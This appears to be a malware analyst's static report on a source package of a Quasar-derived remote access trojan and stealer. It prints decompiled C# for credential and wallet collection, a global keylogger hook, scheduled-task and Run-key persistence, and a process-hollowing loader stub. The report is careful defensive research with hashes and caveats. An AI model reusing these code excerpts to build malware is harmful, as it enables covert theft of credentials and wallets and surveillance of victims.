xanrat source: Invoked/Quasar source-package analysis

This report documents the supplied 5mb8dr6.rar through static inspection. Analysis date: 2026-10-19. It includes the recovered source and resource files as text, with hashes and an explanation of the major components. No sample was run, built, installed, or allowed to contact network endpoints.

Warning

Malicious code is present in the text files in the Analysis-Work zip. The .txt extension is for inspection. It does not make the code safe to run.

Artifact and scope

All 589 files were recovered. Each recovery completed without extractor integrity errors and matched the recorded uncompressed size. 572 source, resource, and configuration files are in xanrat-source-analysis.zip on Analysis-Work, with .txt appended to their original names. Bundled DLLs are represented by their hashes and assembly metadata rather than executable downloads. A resource-embedded loader is additionally represented by static decompilation.

The package is largely reconstructed C#, not verified original developer source. Its embedded decompiler banners and filenames do not establish authorship. No successful build or working behavior on current software versions is claimed. Decompiler banners that named a local user path were removed from the published copies.

What the code implements

The stealer's browser collection includes passwords, cookies, history, autofill, payment data, and extension data. Its application dispatch includes Discord, Telegram, Steam, OBS, Ngrok, WinSCP, FileZilla, FoxMail, and wallet-related data. These are implemented collection paths, not a claim that every path currently succeeds or that data was stolen during this analysis.

The application list is in Apps.cs.txt:

int num = (options & AppsOptions.Discord) == AppsOptions.Discord ? 1 : 0;
bool flag1 = (options & AppsOptions.Telegram) == AppsOptions.Telegram;
bool flag2 = (options & AppsOptions.Steam) == AppsOptions.Steam;
bool flag8 = (options & AppsOptions.Crypto) == AppsOptions.Crypto;
if (num != 0)
    _DiscordUserDatas = Discord.GetInfo();
if (flag1)
    _telegramInfo = Telegram.GetInfo();
if (flag2)
    _steamInfos = Steam.GetInfo();
if (flag8)
    _cryptoInfos = Crypto.GetInfo();

Startup is not only a Run key. If the account is an administrator, ClientStartup.cs.txt tries a logon scheduled task first and stops when that task is created. The Run key is the fallback:

if (this.UserAccount.Type == AccountType.Admin)
{
    Process process = Process.Start(new ProcessStartInfo("schtasks")
    {
        Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath + "\" /rl HIGHEST /f",
        UseShellExecute = false,
        CreateNoWindow = true
    });
    process.WaitForExit(1000);
    if (process.ExitCode == 0)
        return;
}
RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath, true);

The keylogger hooks global keyboard events and keeps a buffer. These are selected lines from Keylogger.cs.txt:

private readonly StringBuilder _logFileBuffer = new StringBuilder();
private string _lastWindowTitle = string.Empty;
this._mEvents = Hook.GlobalEvents();

public void Start()
{
    this.Subscribe();
    this._timerFlush.Start();
}

The recovery plugin targets Recovery\OEM and ResetConfig.xml:

private static readonly string OEMPath = Path.Combine(RSFuncs.SystemDrive, "Recovery", "OEM");
private static readonly string ResetConfigPath = Path.Combine(RSFuncs.OEMPath, "ResetConfig.xml");

How the components fit together

InvokedServer control application
  ├─ client configuration/build components
  ├─ control and collection message handlers
  └─ plugins delivered to the connected client
          ↓
InvokedClient
  ├─ shared InvokedCommon messages and cryptography
  ├─ core shell / file / process / registry / proxy functions
  └─ runtime plugin loading
       ├─ desktop and hidden-desktop control
       ├─ webcam capture
       ├─ password and application-data collection
       └─ persistence-related functionality

The client's inspected settings template, code/Client/Config/Settings.cs.txt in that zip, has empty host, version, encryption-key, and certificate fields. Installation, startup, and automatic-keylogging defaults are false:

public static string VERSION = "";
public static string HOSTS = "";
public static bool INSTALL = false;
public static bool STARTUP = false;
public static bool ENABLELOGGER = false;
public static string ENCRYPTIONKEY = "";

These template defaults do not remove the capabilities in the code. No fixed attacker server was established from this template.

Resource-embedded loader

Properties/Resources.resx contains a 10,752-byte managed PE named Stub. It was decoded as data and decompiled. Its code attempts to decrypt an embedded payload and perform process hollowing into regasm.exe. The recovered template retains key and compression placeholders and has no embedded payload resource of its own.

private static string Compressed = "%CompressFlag%";
private static string Key = "%EncKey%";

string path = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "regasm.exe");
ciph = Injector.AESDe(ciph, Key);

This is a compiled .NET loader, not the ::{marker}::{Base64 payload} batch-comment structure from the other sample. No ::JZ2qvj:: marker was found in the recovered text.

• Stub SHA-256: aaef6bdcd007e3c1bbb1853e61ff48562dae7d3da5a6bf1bf8f88f9046105c86

• Static stub decompilation: embedded-stub.decompiled.cs.txt

• Embedded-resource metadata: embedded-resource-manifest.json

Relationship to the other sample

The RAR, batch, and InvokedClient report documents clarkkk#@..rar, atlasb.bat, and u.exe. Names and architecture in this source package support a related Invoked/Quasar codebase. Four unique third-party libraries match that sample byte-for-byte: MouseKeyHook, Newtonsoft.Json, protobuf-net, and DiagnosticSource. InvokedCommon.dll does not match byte-for-byte.

Shared third-party dependencies alone do not identify an author or prove which source produced an executable. The prior sample's configured server, encryption-key literal, and batch marker were absent from the recovered text. Exact build provenance remains unproven.

Evidence and limitations

Those files are in xanrat-source-analysis.zip on Analysis-Work.

• source-manifest.json: original archive path, publication path, byte length, and SHA-256.

• library-comparison.json: hashes of the supplied DLLs and matches with the earlier archive.

• assembly-metadata.json: identities, referenced assemblies, and resource names inspected without loading code for execution.

No archive traversal paths, link targets, or hidden stream records were observed. This differs from the previous RAR. That finding does not make the contents safe. This review covered archive structure, configuration, major handlers, build events, assembly metadata, and the embedded stub. It was not an exhaustive audit of every dependency.

Source and resource text is preserved for research. Executable containers, deployment instructions, credential material for the publication server, and analyst-machine details are not included. No code was repaired or enhanced. No new license is asserted over third-party material.